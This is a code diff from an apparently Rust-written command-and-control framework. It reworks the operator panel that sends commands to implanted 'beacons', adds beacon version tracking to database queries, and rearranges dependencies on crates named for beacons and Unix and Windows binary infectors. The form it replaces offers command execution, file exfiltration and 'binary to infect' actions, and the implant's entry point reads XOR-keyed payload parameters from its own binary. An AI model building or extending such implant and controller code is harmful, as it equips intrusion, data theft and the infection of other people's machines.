let version = command_builder.required_version();
sqlx::query!( sqlx::query!(
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id) "INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
WHERE bc.category_id = ?", WHERE bc.category_id = ?
AND bi.version >= ?",
command_id, command_id,
now, now,
user.user_id, user.user_id,
cid cid,
version
) )
.execute(&db) .execute(&db)
.await?; .await?;
@ -290,6 +185,8 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
} }
}); });
let (current_cmd, set_current_cmd) = signal("Exec".to_owned());
view! { view! {
{(categories.is_empty() && beacon_id.is_none()) {(categories.is_empty() && beacon_id.is_none())
.then(|| view! { .then(|| view! {
@ -318,14 +215,14 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
<legend>"Issue new command"</legend> <legend>"Issue new command"</legend>
{if let Some(bid) = beacon_id.clone() { {if let Some(bid) = beacon_id.clone() {
Either::Left(view! { Either::Left(view! {
<input name="beacon_id" type="hidden" value=bid /> <input name="target_beacon_id" type="hidden" value=bid />
}) })
} else { } else {
Either::Right(view! { Either::Right(view! {
<label> <label>
"Select a category to command" "Select a category to command"
</label> </label>
<select name="category_id"> <select name="target_category_id">
{categories {categories
.iter() .iter()
.map(|cat| view! { .map(|cat| view! {
@ -338,27 +235,34 @@ pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl
}) })
}} }}
<label>"Type of command"</label> <label>"Type of command"</label>
<select name="cmd_type"> <select
<option value="exec">"Execute command"</option> name="cmd_type"
<option value="upload">"Upload/exfil file"</option> on:change:target=move |ev| {
<option value="download">"Download/place file"</option> set_current_cmd(ev.target().value().to_string())
<option value="update">"Update beacon"</option> }
<option value="chdir">"Change directory"</option> prop:value=move || current_cmd.get()
<option value="ls">"List files"</option> >
<option value="install">"Install to a new binary"</option> {sparse_actions::actions::ACTION_BUILDERS
.iter()
.map(|b| view! {
<option value=b.name()>{b.name()}</option>
})
.collect_view()}
</select> </select>
<label class="cmd-exec">"Command"</label> {move || sparse_actions::actions::ACTION_BUILDERS
<input class="cmd-exec" name="exec_command" /> .iter()
<label class="cmd-upload">"File to upload/exfil"</label> .find(|b| b.name() == *current_cmd.read())
<input class="cmd-upload" name="upload_src" /> .map(|b| b
<label class="cmd-chdir">"Directory to change to"</label> .form_elements()
<input class="cmd-chdir" name="chdir_target" /> .iter()
<label class="cmd-install">"Binary to infect"</label> .map(|(label, name, itype)| view! {
<input class="cmd-install" name="install_target" /> <label>{label.to_string()}</label>
<label class="cmd-download">"Target location for file"</label> <input
<input class="cmd-download" name="download_path"/> name=name.to_string()
<label class="cmd-download">"File to download/place"</label> type=itype.unwrap_or("text").to_string()
<input class="cmd-download" name="download_src" type="file" /> />
})
.collect_view())}
<div></div> <div></div>
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/> <input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
</fieldset> </fieldset>

View File

@ -52,6 +52,7 @@ pub struct CurrentBeaconInstance {
pub operating_system: String, pub operating_system: String,
pub userent: String, pub userent: String,
pub hostname: String, pub hostname: String,
pub version: sparse_actions::version::Version,
pub last_checkin: chrono::DateTime<chrono::Utc>, pub last_checkin: chrono::DateTime<chrono::Utc>,
pub config_id: Option<i64>, pub config_id: Option<i64>,
pub template_id: i64, pub template_id: i64,
@ -588,6 +589,9 @@ pub fn BeaconSidebar() -> impl IntoView {
<div class="beacon-instance-os"> <div class="beacon-instance-os">
<span>"OS: "</span> {beacon.operating_system.clone()} <span>"OS: "</span> {beacon.operating_system.clone()}
</div> </div>
<div class="beacon-instance-vers">
<span>"Version: "</span> {beacon.version.to_string()}
</div>
{(sort_method.get() != Some(SortMethod::Category)) {(sort_method.get() != Some(SortMethod::Category))
.then(|| -> Vec<String> { .then(|| -> Vec<String> {
let BeaconResources { let BeaconResources {

View File

@ -13,6 +13,7 @@ use serde::Deserialize;
use sqlx::sqlite::SqlitePool; use sqlx::sqlite::SqlitePool;
use tokio::signal; use tokio::signal;
use sparse_actions::version::Version;
use sparse_server::app::*; use sparse_server::app::*;
#[cfg(not(debug_assertions))] #[cfg(not(debug_assertions))]
@ -362,7 +363,8 @@ async fn handle_listener_events(
{ {
let beacons = sqlx::query!( let beacons = sqlx::query!(
"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance" r#"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system,
beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance"#
) )
.fetch_all(&state.db) .fetch_all(&state.db)
.await?; .await?;
@ -407,6 +409,7 @@ async fn handle_listener_events(
userent: b.beacon_userent, userent: b.beacon_userent,
hostname: b.hostname, hostname: b.hostname,
config_id: b.config_id, config_id: b.config_id,
version: b.version,
last_checkin: last_checkin last_checkin: last_checkin
.iter() .iter()
.find(|ch| ch.beacon_id == b.beacon_id) .find(|ch| ch.beacon_id == b.beacon_id)
@ -440,8 +443,8 @@ async fn handle_listener_events(
} }
Ok(BeaconEvent::NewBeacon(bid)) => { Ok(BeaconEvent::NewBeacon(bid)) => {
let beacon = sqlx::query!( let beacon = sqlx::query!(
"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance r#"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id, version as "version: Version" FROM beacon_instance
WHERE beacon_id = ?", WHERE beacon_id = ?"#,
bid bid
) )
.fetch_one(&state.db) .fetch_one(&state.db)
@ -465,6 +468,7 @@ async fn handle_listener_events(
userent: beacon.beacon_userent, userent: beacon.beacon_userent,
hostname: beacon.hostname, hostname: beacon.hostname,
config_id: beacon.config_id, config_id: beacon.config_id,
version: beacon.version,
last_checkin: chrono::Utc::now(), last_checkin: chrono::Utc::now(),
category_ids: category_ids.iter().map(|r| r.category_id).collect() category_ids: category_ids.iter().map(|r| r.category_id).collect()
}; };

View File

@ -11,28 +11,4 @@ main.beacons div.commands {
margin: 10px; margin: 10px;
} }
} }
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
display: none;
}
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
display: block;
}
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
display: block;
}
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
display: block;
}
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
display: block;
}
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
display: block;
}
} }

View File

@ -10,8 +10,8 @@ async-trait = "0.1.86"
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] } tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
thiserror = "2.0.11" thiserror = "2.0.11"
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["ring"] } sparse-beacon = { path = "../sparse-beacon", features = ["ring"] }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions", features = ["beacon"] }
[target.'cfg(target_os = "linux")'.dependencies] [target.'cfg(target_os = "linux")'.dependencies]
nl-sys = { version = "0.1.0", path = "../nl-sys" } nl-sys = { version = "0.1.0", path = "../nl-sys" }

View File

@ -2,7 +2,7 @@ use std::net::Ipv4Addr;
use nl_sys::netlink; use nl_sys::netlink;
use sparse_beacon::{ use sparse_actions::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute}, adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error, error,
}; };
@ -13,7 +13,7 @@ pub enum LinuxAdapterError {
Nl(#[from] nl_sys::error::Error), Nl(#[from] nl_sys::error::Error),
} }
impl sparse_beacon::error::AdapterError for LinuxAdapterError {} impl sparse_actions::error::AdapterError for LinuxAdapterError {}
#[derive(Clone)] #[derive(Clone)]
pub struct LinuxAdapter; pub struct LinuxAdapter;

View File

@ -2,8 +2,7 @@ use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt}; use tokio::io::{AsyncReadExt, AsyncSeekExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY}; use sparse_actions::{adapter::BeaconAdapter, payload_types::{Parameters, XOR_KEY}};
use sparse_beacon::adapter::BeaconAdapter;
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
mod linux; mod linux;
@ -16,7 +15,7 @@ mod freebsd;
use freebsd::FreeBsdAdapter as Adapter; use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main] #[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> { async fn main() -> Result<(), sparse_actions::error::BeaconError<<Adapter as BeaconAdapter>::Error>> {
#[cfg(target_os = "linux")] #[cfg(target_os = "linux")]
let mut binary_file = tokio::fs::OpenOptions::new() let mut binary_file = tokio::fs::OpenOptions::new()
.read(true) .read(true)

View File

@ -5,6 +5,6 @@ version.workspace = true
[dependencies] [dependencies]
libc = "0.2.169" libc = "0.2.169"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions" }
errno = "0.3" errno = "0.3"
cfg-if = "1.0.0" cfg-if = "1.0.0"

View File

@ -8,6 +8,6 @@ errno = "0.3.10"
hex = "0.4.3" hex = "0.4.3"
libc = "0.2.169" libc = "0.2.169"
rand = "0.9.0" rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions" }
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" } sparse-unix-infector = { path = "../sparse-unix-infector" }
structopt = "0.3.26" structopt = "0.3.26"

View File

@ -16,8 +16,8 @@ windows-result = "0.3.0"
windows-strings = "0.3.0" windows-strings = "0.3.0"
winreg = "0.55" winreg = "0.55"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions" }
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon", features = ["openssl"] } sparse-beacon = { path = "../sparse-beacon", features = ["openssl"] }
[features] [features]
service = [] service = []

View File

@ -5,4 +5,4 @@ version.workspace = true
[dependencies] [dependencies]
errno = "0.3.10" errno = "0.3.10"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" } sparse-actions = { path = "../sparse-actions" }

View File

@ -7,9 +7,10 @@ version.workspace = true
errno = "0.3.10" errno = "0.3.10"
hex = "0.4.3" hex = "0.4.3"
rand = "0.9.0" rand = "0.9.0"
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
sparse-windows-infector = { version = "2.0.0", path = "../sparse-windows-infector" }
structopt = "0.3.26" structopt = "0.3.26"
windows = { version = "0.59.0", features = ["Win32_System_Services"] } windows = { version = "0.59.0", features = ["Win32_System_Services"] }
windows-strings = "0.3.0" windows-strings = "0.3.0"
winreg = "0.55.0" winreg = "0.55.0"
sparse-actions = { path = "../sparse-actions" }
sparse-windows-infector = { path = "../sparse-windows-infector" }